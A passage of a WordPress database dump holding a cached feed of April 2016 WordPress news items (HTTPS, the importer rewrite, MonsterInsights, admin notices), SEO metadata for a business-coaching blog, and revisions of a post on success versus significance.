HTTPS.</p>\n<p>Unlike WordPress.com, which <a href="https://en.support.wordpress.com/https/" target="_blank">does not allow users to disable encryption</a>, Sucuri offers a &#8220;No HTTPS&#8221; option which will force all traffic to be redirected to HTTP. Customers can also select from partial SSL, full SSL, and Custom SSL (where they can use their own certificates).</p>\n<p>Despite their sponsorship of the Let&#8217;s Encrypt initiative, Sucuri&#8217;s founders emphasized that SSL support is not a magic wand that instantly makes your website secure, since it only protects information transferred between the browser and web server.</p>\n<p>&#8220;Even though we are providing SSL certificates to all our clients, we don’t subscribe to the idea that every website needs HTTPS enabled,&#8221; Sucuri CTO Daniel Cid said. &#8220;The idea that this makes for a more secure web is inaccurate.&#8221;</p>\n<p>Cid and co-founder Tony Perez share a perspective tempered by years of experience fixing hacked websites. The majority of compromises come through brute force attacks, software vulnerabilities, and DDOS attacks.</p>\n<p>In a post titled <a href="https://perezbox.com/2015/07/https-does-not-secure-your-website/" target="_blank">HTTPS Does Not Secure Your Website</a>, Sucuri CEO Tony Perez identified three general instances where SSL is essential: when transferring personal identifiable information, transaction data in e-commerce, and other sensitive data. Outside of these scenarios, HTTPS is not as critical.</p>\n<p>&#8220;I have no doubt that HTTPS will continue to grow in popularity,&#8221; Perez said. &#8220;What I take exception to is when technology professionals say that one of the driving factors for HTTPS is it’ll secure your website, because it won’t.&#8221;</p>\n<p>Sucuri only recommends HTTPS for customers who are already taking security seriously and want to add protection for data in transit. The company suggests putting more basic security measures in place first &#8211; keeping your software updated, implementing intrusion detection, getting code reviews, and storing passwords securely.</p>\n<div id="epoch-width-sniffer"></div>";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Mon, 18 Apr 2016 04:21:35 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:13:"Sarah Gooding";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:46;a:6:{s:4:"data";s:13:"\n	\n	\n	\n	\n	\n	\n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:2:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:44:"Post Status: WordPress 4.5 — Draft Podcast";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:31:"https://poststatus.com/?p=23435";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:51:"https://poststatus.com/wordpress-4-5-draft-podcast/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:2142:"<p>Welcome to the Post Status <a href="https://poststatus.com/category/draft">Draft podcast</a>, which you can find <a href="https://itunes.apple.com/us/podcast/post-status-draft-wordpress/id976403008">on iTunes</a>, <a href="http://www.stitcher.com/podcast/krogsgard/post-status-draft-wordpress-podcast">Stitcher</a>, and <a href="http://simplecast.fm/podcasts/1061/rss">via RSS</a> for your favorite podcatcher. Post Status Draft is hosted by Joe Hoyle &#8212; the CTO of Human Made &#8212; and Brian Krogsgard.</p>\n<p><span>WordPress 4.5 was just released, and comes backed with a lot of great new features. Some of our favorites have to do with the editing experience, but we go over all the new user facing features as well as under the hood bits of WordPress 4.5. We also dig into the earliest stages of WordPress 4.6, which is already underway.</span></p>\n<p><span>If you’ve been enjoying Post Status Draft, would you considering rating us in iTunes? We’ve never asked for it, but it would help tremendously! You can do so by going to iTunes, click “Ratings and Reviews” and leave a quick review. Thanks!</span></p>\n<a href="https://audio.simplecast.com/35565.mp3">https://audio.simplecast.com/35565.mp3</a>\n<p><a href="http://audio.simplecast.com/35565.mp3">Direct Download</a></p>\n<h3>Links</h3>\n<ul>\n<li><a href="https://poststatus.com/wordpress-4-5-coleman-released/">Brian&#8217;s WordPress 4.5 Post</a></li>\n<li><a href="https://make.wordpress.org/core/2016/04/14/wordpress-4-6-whats-on-your-wish-list/">WordPress 4.6 wishlist</a></li>\n<li><a href="https://poststatus.com/day-of-rest-boston/">A Day of Rest is going to Boston!</a></li>\n</ul>\n<h3>Sponsor</h3>\n<p><span>This podcast is sponsored by </span><a href="http://wp101.com"><span>WP101</span></a><span>. The WP101 Plugin delivers a set of WordPress video tutorials right in your clients’ dashboard, freeing your time to do what you do best! They also just released a great 22 part course on WooCommerce that you should definitely check out. Thank you to </span><a href="http://wp101.com"><span>WP101</span></a><span> for being a Post Status partner.</span></p>";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Sat, 16 Apr 2016 12:58:57 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:14:"Katie Richards";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:47;a:6:{s:4:"data";s:13:"\n	\n	\n	\n	\n	\n	\n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:2:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:68:"WPTavern: Help Test the New WordPress Importer Plugin in Development";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:28:"http://wptavern.com/?p=53477";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:78:"http://wptavern.com/help-test-the-new-wordpress-importer-plugin-in-development";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:4379:"<a href="http://i2.wp.com/wptavern.com/wp-content/uploads/2015/06/dinocar.jpg"><img src="http://i2.wp.com/wptavern.com/wp-content/uploads/2015/06/dinocar.jpg?resize=1025%2C523" alt="photo credit: Ryan McGuire" class="size-full wp-image-45346" /></a>photo credit: <a href="https://stocksnap.io/photo/A0737DFF83">Ryan McGuire</a>\n<p>The official <a href="https://wordpress.org/plugins/wordpress-importer/" target="_blank">WordPress Importer</a> plugin is in shambles and has frustrated users with inconsistent performance for years. The plugin has more than a million active installations and is critical for migrations, unless you are familiar with using more advanced tools. With years of unresolved support threads identifying the plugin&#8217;s many bugs, the importer is in need of some help.</p>\n<p>In a volunteer-driven open source community, important projects like the WordPress importer can go neglected for a long time until someone gets inspired to take on the responsibility. The good news, however, is that the importer is in the process of being completely rewritten thanks to Ryan McCue, who is also a leader on the WP REST API project.</p>\n<p>The <a href="https://github.com/humanmade/WordPress-Importer" target="_blank">WordPress Importer Redux</a> project is available on GitHub with fixes for some of the previous plugin&#8217;s most troublesome issues. McCue is rewriting the importer with the goals of making it &#8220;fast, lightweight, and consistent.&#8221; He summarized the major improvements that are part of version 2 in a <a href="https://make.wordpress.org/core/2015/11/18/wordpress-importer-redux/" target="_blank">post</a> on Make/WordPress core blog:</p>\n<ul>\n<li><strong>Way less memory usage:</strong> Testing shows memory usage to import a 41MB WXR file is down from 132MB to 19MB (less than half the actual file size!). This means no more splitting files just to get them to import.</li>\n<li><strong>Faster parser:</strong> By using a streaming XML parser, we process data as we go, which is much more scalable than the current approach. Content can begin being imported as soon as the file is read, rather than waiting for pre-processing.</li>\n<li><strong>Resumable parsing:</strong> By storing more in the database instead of variables, we can quit and resume imports on-the-go.</li>\n<li><strong>Partial imports:</strong> Rethinking the deduplication approach allows better partial imports, such as when you’re updating a production site from staging.\n</li>\n<li><strong>Better CLI:</strong> Treating the CLI as a first-class citizen means a better experience for those doing imports on a daily basis, and better code quality and reusability.</li>\n</ul>\n<p>Until recently, the new importer had no UI, so the only way to test it was to run it via WP-CLI. A new <a href="https://github.com/humanmade/WordPress-Importer/tree/admin-ui" target="_blank">Admin UI branch</a> of the project is now available so you can <a href="https://github.com/humanmade/WordPress-Importer/archive/master.zip" target="_blank">download the plugin as a zip</a> and activate it inside WordPress. McCue tweeted a sneak peak at the progress bar for the import summary:</p>\n<blockquote class="twitter-tweet"><p lang="en" dir="ltr">New WordPress Importer UI, coming soon. <a href="https://t.co/wM6cZY6BSk">pic.twitter.com/wM6cZY6BSk</a></p>\n<p>&mdash; Ryan McCue ⍨ (@rmccue) <a href="https://twitter.com/rmccue/status/717610812236410880">April 6, 2016</a></p></blockquote>\n<p></p>\n<p>He is also <a href="https://twitter.com/rmccue/status/719454867543076864" target="_blank">working on a better user mapping UI for the importer</a>. This image shows the UI in progress with the old one at the bottom for reference.</p>\n<p><a href="http://i0.wp.com/wptavern.com/wp-content/uploads/2016/04/importer-v2.jpg"><img src="http://i0.wp.com/wptavern.com/wp-content/uploads/2016/04/importer-v2.jpg?resize=599%2C198" alt="importer-v2" class="aligncenter size-full wp-image-53732" /></a></p>\n<p>If you want to test the new importer, McCue encourages users to compare the experience to the old importer and take note of what works and what breaks. Feedback is welcome in the project&#8217;s GitHub issues queue on the designated <a href="https://github.com/humanmade/WordPress-Importer/issues/7" target="_blank">general feedback thread</a>.</p>\n<div id="epoch-width-sniffer"></div>";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Fri, 15 Apr 2016 21:50:24 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:13:"Sarah Gooding";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:48;a:6:{s:4:"data";s:13:"\n	\n	\n	\n	\n	\n	\n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:2:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:73:"WPTavern: MonsterInsights Addresses User Criticism With Immediate Changes";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:28:"http://wptavern.com/?p=53706";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:83:"http://wptavern.com/monsterinsights-addresses-user-criticism-with-immediate-changes";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:3623:"<p>When <a href="http://wptavern.com/syed-balkhi-acquires-google-analytics-by-yoast-renames-to-monsterinsights">Google Analytics by Yoast suddenly turned into MonsterInsights</a> yesterday, many users were taken by surprise. Users voiced their frustration and concerns on the <a href="https://wordpress.org/support/plugin/google-analytics-for-wordpress">plugin&#8217;s support forum</a>. Some users thought <a href="https://wordpress.org/support/topic/i-honestly-thought-my-site-had-been-hacked-some-sort-of-warning-please?replies=14">their sites were hacked</a> after noticing the menu label changed and seeing a bright green menu icon.</p>\n<p>Syed Balkhi, founder of WPBeginner.com, along with Chris Christoff, lead developer of the MonsterInsights plugin, immediately responded to criticism in the forums. One of the biggest complaints from users was the lack of communication that the plugin changed hands.</p>\n<p>Christoff admits that the plugin&#8217;s changelog should have included information about the switch.</p>\n<blockquote><p>I thought I had included information about the acquisition in the changelog, but I apparently didn&#8217;t. That&#8217;s totally on me, and I can certainly understand why people might be a bit upset over that.</p></blockquote>\n<p>Complaints about the <a href="https://wordpress.org/support/topic/i-honestly-thought-my-site-had-been-hacked-some-sort-of-warning-please?replies=14#post-8277576">bright menu icon</a> were addressed with a recent update that lowers its opacity to be more in line with other icons. Even though the bright green is gone, the icon is still noticeable. Here&#8217;s what it looks like.</p>\n<a href="http://i0.wp.com/wptavern.com/wp-content/uploads/2016/04/NewMonsterInsightsPluginIcon.png"><img class="size-full wp-image-53708" src="http://i0.wp.com/wptavern.com/wp-content/uploads/2016/04/NewMonsterInsightsPluginIcon.png?resize=149%2C240" alt="New MonsterInsights Menu Icon" /></a>New MonsterInsights Menu Icon\n<p>The menu label was also renamed from MonsterInsights to Insights. Not only is it shorter, it&#8217;s more in line with the plugin&#8217;s functionality. Its placement within the admin menu was also fixed as it no longer shows up near the top of the list.</p>\n<p>Another concern brought up by users are the four display ads on the plugin&#8217;s dashboard page. While some users thought these were new, they&#8217;ve always existed in the free plugin. Instead of advertising Joost de Valk&#8217;s products, they now advertise four complimentary products affiliated with Balkhi.</p>\n<a href="http://i2.wp.com/wptavern.com/wp-content/uploads/2016/04/MonsterInsightsDisplayAds.png"><img class="size-full wp-image-53709" src="http://i2.wp.com/wptavern.com/wp-content/uploads/2016/04/MonsterInsightsDisplayAds.png?resize=1025%2C596" alt="Display Advertising in MonsterInsights" /></a>Display Advertising in MonsterInsights\n<p>Within the last 24 hours, the plugin has received a number of enhancements based on user feedback. Although the <a href="http://wptavern.com/a-little-communication-goes-a-long-way">lack of communication</a> put some people off, the company&#8217;s quick response has satisfied <a href="https://wordpress.org/support/topic/i-honestly-thought-my-site-had-been-hacked-some-sort-of-warning-please?replies=14#post-8282661">at least a few users</a>. Balkhi says the team continues to listen to feedback and that if you have a feature request or bug report, to file it on the <a href="https://github.com/awesomemotive/google-analytics-for-wordpress/issues">project&#8217;s GitHub page</a>.</p>\n<div id="epoch-width-sniffer"></div>";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Fri, 15 Apr 2016 17:17:56 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:13:"Jeff Chandler";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:49;a:6:{s:4:"data";s:13:"\n	\n	\n	\n	\n	\n	\n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:2:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:53:"WPTavern: Please Stop Abusing WordPress Admin Notices";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:28:"http://wptavern.com/?p=53651";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:63:"http://wptavern.com/please-stop-abusing-wordpress-admin-notices";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:1728:"<p>We&#8217;ve recently installed some new plugins on the Tavern and one of them generates an <a href="https://developer.wordpress.org/reference/hooks/admin_notices/">admin notice</a> that can not be dismissed without disabling it. Not only is this frustrating, but it makes it less likely that I&#8217;ll give the developer money to purchase the pro version.</p>\n<p>Here&#8217;s what the admin notice looks like. I&#8217;ve hidden the name of the advertised plugin as the goal is to inform people, not shame plugin authors.</p>\n<a href="http://i1.wp.com/wptavern.com/wp-content/uploads/2016/04/AdminNoticeAbuse.png"><img class="size-full wp-image-53713" src="http://i1.wp.com/wptavern.com/wp-content/uploads/2016/04/AdminNoticeAbuse.png?resize=869%2C73" alt="Admin Notice With No Dismissal Button" /></a>Admin Notice With No Dismissal Button\n<p>While I expect admin notices when activating a plugin or after a major update, I don&#8217;t appreciate the inability to dismiss them. I also don&#8217;t appreciate admin notices that reappear no matter how many times I click the dismiss button. The worst part about the notice above is that it shows up on every page hijacking important screen real-estate in the WordPress backend resulting in a terrible user experience.</p>\n<p>WordPress plugin authors, I respectfully request that you use the <a href="https://developer.wordpress.org/reference/hooks/admin_notices/">admin notice</a> feature in WordPress for providing crucial information about your plugins and not as a billboard. Give users the opportunity to dismiss them and make sure that when dismissed, they don&#8217;t reappear unless the user clears their browser&#8217;s cookies.</p>\n<div id="epoch-width-sniffer"></div>";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Fri, 15 Apr 2016 16:11:00 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:13:"Jeff Chandler";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}}}}}}}}}}}}s:4:"type";i:128;s:7:"headers";a:10:{s:6:"server";s:5:"nginx";s:4:"date";s:29:"Thu, 05 May 2016 20:06:26 GMT";s:12:"content-type";s:8:"text/xml";s:14:"content-length";s:6:"220777";s:10:"connection";s:5:"close";s:4:"vary";s:15:"Accept-Encoding";s:13:"last-modified";s:29:"Thu, 05 May 2016 19:45:13 GMT";s:15:"x-frame-options";s:10:"SAMEORIGIN";s:4:"x-nc";s:11:"HIT lax 250";s:13:"accept-ranges";s:5:"bytes";}s:5:"build";s:14:"20150923175813";}', 'no');
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(5111, 1641, 'thesis_description', 'Humility is a frame of mind where you knowingly use your strengths for the benefit of others on behalf of a higher purpose beyond your own accomplishments. In my view, this is a defining characteristic of great leadership.\r\n\r\n'),
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(5959, 2039, 'thesis_description', 'Many creative entrepreneurs take comfort in their gradual progress. When it comes to growing your creative business, wouldn’t you rather speed things up? Maybe even skip a few levels altogether?'),
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(6014, 2062, 'thesis_description', 'Anything worth accomplishing is worth placing on a strong foundation. Think of starting at the bottom as your foundation for a bigger future. At the bottom, you will discover the value of focused energy, faith, action and trust in yourself. Build your accomplishments on those foundational elements and you’ll be absolutely astonished at your progress.'),
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(6040, 2074, 'thesis_description', 'Comfort is a rattlesnake ready to lunge out with ferocity and bite you in the ass as you make your perfect plan to stay comfortable. If you’re comfortable in your business (and in your life) chances are you’re not growing. Chances are, underneath your awareness, things might be sliding back in the wrong direction. Comfort breeds complacency.'),
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(6066, 2084, 'thesis_description', 'Like a raging storm in the open sea, the waves of change come at entrepreneurs from all directions. The sea change is so fast most entrepreneurs can hardly manage the process of learning what’s necessary to keep their ship afloat in all the apparent chaos surrounding them.'),
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(6094, 2097, 'thesis_description', 'This summer marks the fourth year I have been blogging here on the White Hot Center. I’m delighted my little science project has over time attracted a loyal tribe of followers- you among them!  Thank you for your vote of confidence! How can I get better?'),
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(6239, 2157, 'thesis_description', 'After eight years of growth, this digital print and data management company reinvents itself with a new brand positioning, renaming the company, and developing a new visual identity as the foundation for a brighter future.'),
(6246, 2157, 'thesis_keywords', 'brightformat, digital printing, brand positioning workshop, naming, corporate identity developemnt, corporate identity design, Grand Rapids, Michigan'),
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(6263, 2173, '_edit_last', '2'),
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(6265, 2173, 'thesis_description', 'You can’t create and experience any level of success in business and life unless you’re willing to wade through CRAP.'),
(6272, 2173, 'thesis_keywords', 'CRAP: Criticism, Rejection, Assholes, Pressure, business success, life success, TED talk, '),
(6287, 2183, '_edit_last', '2'),
(6288, 2183, '_edit_lock', '1350751715:2'),
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(6291, 2183, 'thesis_description', 'In an era where keeping clients happy and finding new ones is harder than ever, it’s difficult for early stage entrepreneurs to say “no” to clients who aren’t a good fit. It’s imperative to learn how to assess, early in your sales conversations, which opportunities are a good fit for you and which ones to pass on.'),
(6292, 2183, 'thesis_keywords', 'keeping clients happy, assess opportunity, sales conversations, just say no, order-takers, value creators, business development, sales, sales process, business opportunity, creative entrepreneurs, valuable business outcomes.'),
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(6317, 2194, 'thesis_description', 'Marketing and business development is a critical on-going activity in any business. For those creative entrepreneurs marketing their professional services, there’s one skill, above all others that’s critical to your success–presenting to prospects!'),
(6318, 2194, 'thesis_keywords', 'marketing, business development, sales presentations, presentation skills, marketing professional services, creative entrepreneurs, new business, closing the sale, be an effective presenter, become a great presenter'),
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(6339, 2204, 'thesis_description', 'Here in the US, we’re all preparing for the long Thanksgiving Day Holiday. For many entrepreneurs, this time of year begins the introspective process of taking stock of the year past and preparing to make plans and set goals for the coming year.  In working with several of my clients in their process of strategic planning, one theme seems to dominate the conversation–uncertainty.'),
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(6359, 2213, 'thesis_description', 'Indeed it is the time of year again to reflect, take an inventory and calibrate the navigational systems for the coming year.'),
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(6381, 2223, 'thesis_description', 'As we enter the New Year, many creative entrepreneurs are planning and making commitments to the goals they want to accomplish in the year ahead. Are your goals carved in stone, or written in sand?'),
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(6391, 2228, '_edit_last', '2'),
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(6394, 2228, 'thesis_description', 'As a creative entrepreneur, any value you bring to the world is only credible when it reflects the essential truth of your unique, special and compelling gifts. Your core essence is how you add value, and it provides the reason people will follow you, like you, tweet you, trust you, and do business with you.'),
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(6422, 2240, 'thesis_description', 'The source code of value creation BEGINS with formless creative thought not data. Formless thought in the creative mind is where crazy ideas come from.  Crazy ideas have changed the world many times over. Knowing this, it’s surprising many entrepreneurs still don’t trust the crazy idea when it shows up.'),
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(6431, 2240, 'thesis_keywords', 'value creation, creative mind, crazy ideas, Swiffer, Netflix, Swatch, competitive advantage, business developoment, innovation, new products'),
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(6440, 2248, '_wp_attachment_image_alt', 'Business Transformation Consultant'),
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(6511, 2261, 'thesis_description', 'If you’re stuck, you’ve hit a plateau. The plateau effect is a common state of being in every human endeavor. If you’re growing, eventually you’ll hit a plateau where whatever action got you to the level you’re currently at, it won’t be enough to elevate you to the next level. Breaking the plateau effect is an ongoing stair step process of developing new thinking and actions that have nothing to do with the actions you believe were successful in getting you to this moment.  It is possible to skip ahead a few levels!'),
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(6761, 2389, 'thesis_description', ' When you get that big moment to have your first conversation with a prospective client you’ve been working on for months, remember to be influential with customers, it’s about service not selling!'),
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(6923, 2469, 'thesis_description', 'There are no plateaus in your growth except the ones you invent in your mind. Learn to enjoy the climb because that’s all there is. Don’t stop. Always be growing.'),
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(7003, 2501, 'thesis_description', 'When you realize the subtle but important distinction between being an entrepreneur and simply being self-employed, you free yourself from the cage of a limiting business model.'),
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(7048, 2519, 'thesis_description', 'I am pleased to say in 2014 I will be devoting more of my creative energies to building the White Hot Center as a strategic consulting practice for personal and professional development, leadership, value creation, innovation and business development specifically for early stage creative entrepreneurs, solo professionals and emerging organizations seeking more clarity and confidence to turn their possibilities into achievement.'),
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(39, 2, '2010-12-27 17:02:56', '2010-12-28 00:02:56', '<p><img class="alignnone size-full wp-image-463" title="significancepost" src="http://whc.fbdev.org/wp-content/uploads/2009/03/significancepost1.gif" alt="significancepost" width="450" height="283" /></p>\r\n<h2><span style="color: #ff6600;"><span style="font-size: 20px; font-family: Arial;">What''s the difference between pursuing a successful life, or a life of significance? On the surface you might think these are one and the same. Can you experience one and not the other? Are these two attributes mutually exclusive, or do they indeed go hand in hand? </span></span></h2>\r\n<p>Much of what we may define as success is subjective, and largely based on the core beliefs about life and our reaction to it that are contained in our head–notably our sub-conscious minds. Everyone desires to create a successful life. I don’t think anyone with a healthy mind spends much time consciously saying, “My goal is to be a complete failure in life”.  At least I have not yet met anyone with that point of view.  I think you would basically agree with the general statement: we all want to create success in our life. This begs the bigger question –what is success and will it really bring you happiness?<!--more--></p>\r\n<p><strong>The Successful Life</strong></p>\r\n<p>In our western culture, most people believe that you are successful when you <em>achieve something. </em>The common self-help industry definition suggests you are successful when you are pursuing the <em>achievement of goals</em> that result in financial success, personal power and authority, mastery of knowledge, material possessions and outward status in your community. While there is nothing bad or wrong with these pursuits, in of themselves, these ideals will rarely lead anyone to experience sustained happiness. I know many successful, accomplished people who are just plain miserable, and I’ll bet you do too. You may achieve the symbols of outer success, but they will not provide you with happiness. Like John Lennon says “money can’t buy me love”.</p>\r\n<p><strong>The Significant Life</strong></p>\r\n<p>On the other hand, living a life of significance has its basis in an entirely different set of principles. The formula here is dramatically different than the pursuit of success. When you are pursuing significance, you engage your life in the accomplishment of ideas that deeply matter to you and contribute to the well-being and advancement of others. Your focus is on attributes like, generosity, kindness, love, relationships, value creation and connectedness. A person who is engaged in the pursuit of a Significant Life is always thinking “win/win”, not “I win”. They live their days on the creative plane not the competitive one. The equation here is simple:</p>\r\n<p><strong>Meaning + Contribution = Significant Happiness</strong></p>\r\n<p>To experience significant happiness you must discover what really matters to you in life, and have what matters to you contribute to the advancement of others. Only then can you expect to experience a more sustained satisfaction, joy, freedom and abundance. When you get this formula working in your life, the world will shower you with appreciation. Which usually takes its form in the abundance of health, well-being, loving relationships, and last but not least–lots of money! These things are the applause the world bestows upon you for lighting the way for others.</p>\r\n<p><strong>My suggestion is put your focus and attention on the pursuit of significance rather than success. You’ll be so happy that you did.</strong></p>\r\n', 'Meaning + Contribution = Significance', 0, 'I have been doing some thinking lately about the difference between pursuing a successful life, or a life of significance. On the surface you might think these are one and the same. Can you experience one and not the other?...\r\n', 'inherit', 'open', 'open', '', '8-autosave', '', '', '2010-12-27 17:02:56', '2010-12-28 00:02:56', '', 8, 'http://www.whitehotcenter.com/2009/04/8-autosave.html', 0, 'revision', '', 0),
(1402, 2, '2010-12-27 17:01:49', '2010-12-28 00:01:49', '<img class="alignnone size-full wp-image-463" title="significancepost" src="http://whc.fbdev.org/wp-content/uploads/2009/03/significancepost1.gif" alt="significancepost" width="405" height="255" />\r\n<h2><span style="color: #ff6600;"><span style="font-size: 20px; font-family: Arial;">What''s the difference between pursuing a successful life, or a life of significance? On the surface you might think these are one and the same. Can you experience one and not the other? Are these two attributes mutually exclusive, or do they indeed go hand in hand? </span></span></h2>\r\nMuch of what we may define as success is subjective, and largely based on the core beliefs about life and our reaction to it that are contained in our head–notably our sub-conscious minds. Everyone desires to create a successful life. I don’t think anyone with a healthy mind spends much time consciously saying, “My goal is to be a complete failure in life”.  At least I have not yet met anyone with that point of view.  I think you would basically agree with the general statement: we all want to create success in our life. This begs the bigger question –what is success and will it really bring you happiness?<!--more-->\r\n\r\n<strong>The Successful Life</strong>\r\n\r\nIn our western culture, most people believe that you are successful when you <em>achieve something. </em>The common self-help industry definition suggests you are successful when you are pursuing the <em>achievement of goals</em> that result in financial success, personal power and authority, mastery of knowledge, material possessions and outward status in your community. While there is nothing bad or wrong with these pursuits, in of themselves, these ideals will rarely lead anyone to experience sustained happiness. I know many successful, accomplished people who are just plain miserable, and I’ll bet you do too. You may achieve the symbols of outer success, but they will not provide you with happiness. Like John Lennon says “money can’t buy me love”.\r\n\r\n<strong>The Significant Life</strong>\r\n\r\nOn the other hand, living a life of significance has its basis in an entirely different set of principles. The formula here is dramatically different than the pursuit of success. When you are pursuing significance, you engage your life in the accomplishment of ideas that deeply matter to you and contribute to the well-being and advancement of others. Your focus is on attributes like, generosity, kindness, love, relationships, value creation and connectedness. A person who is engaged in the pursuit of a Significant Life is always thinking “win/win”, not “I win”. They live their days on the creative plane not the competitive one. The equation here is simple:\r\n\r\n<strong>Meaning + Contribution = Significant Happiness</strong>\r\n\r\nTo experience significant happiness you must discover what really matters to you in life, and have what matters to you contribute to the advancement of others. Only then can you expect to experience a more sustained satisfaction, joy, freedom and abundance. When you get this formula working in your life, the world will shower you with appreciation. Which usually takes its form in the abundance of health, well-being, loving relationships, and last but not least–lots of money! These things are the applause the world bestows upon you for lighting the way for others.\r\n\r\n<strong>My suggestion is put your focus and attention on the pursuit of significance rather than success. You’ll be so happy that you did.</strong>', 'Meaning + Contribution = Significance', 0, 'I have been doing some thinking lately about the difference between pursuing a successful life, or a life of significance. On the surface you might think these are one and the same. Can you experience one and not the other?...\r\n', 'inherit', 'open', 'open', '', '8-revision-21', '', '', '2010-12-27 17:01:49', '2010-12-28 00:01:49', '', 8, 'http://www.whitehotcenter.com/2010/12/27/8-revision-21/', 0, 'revision', '', 0),
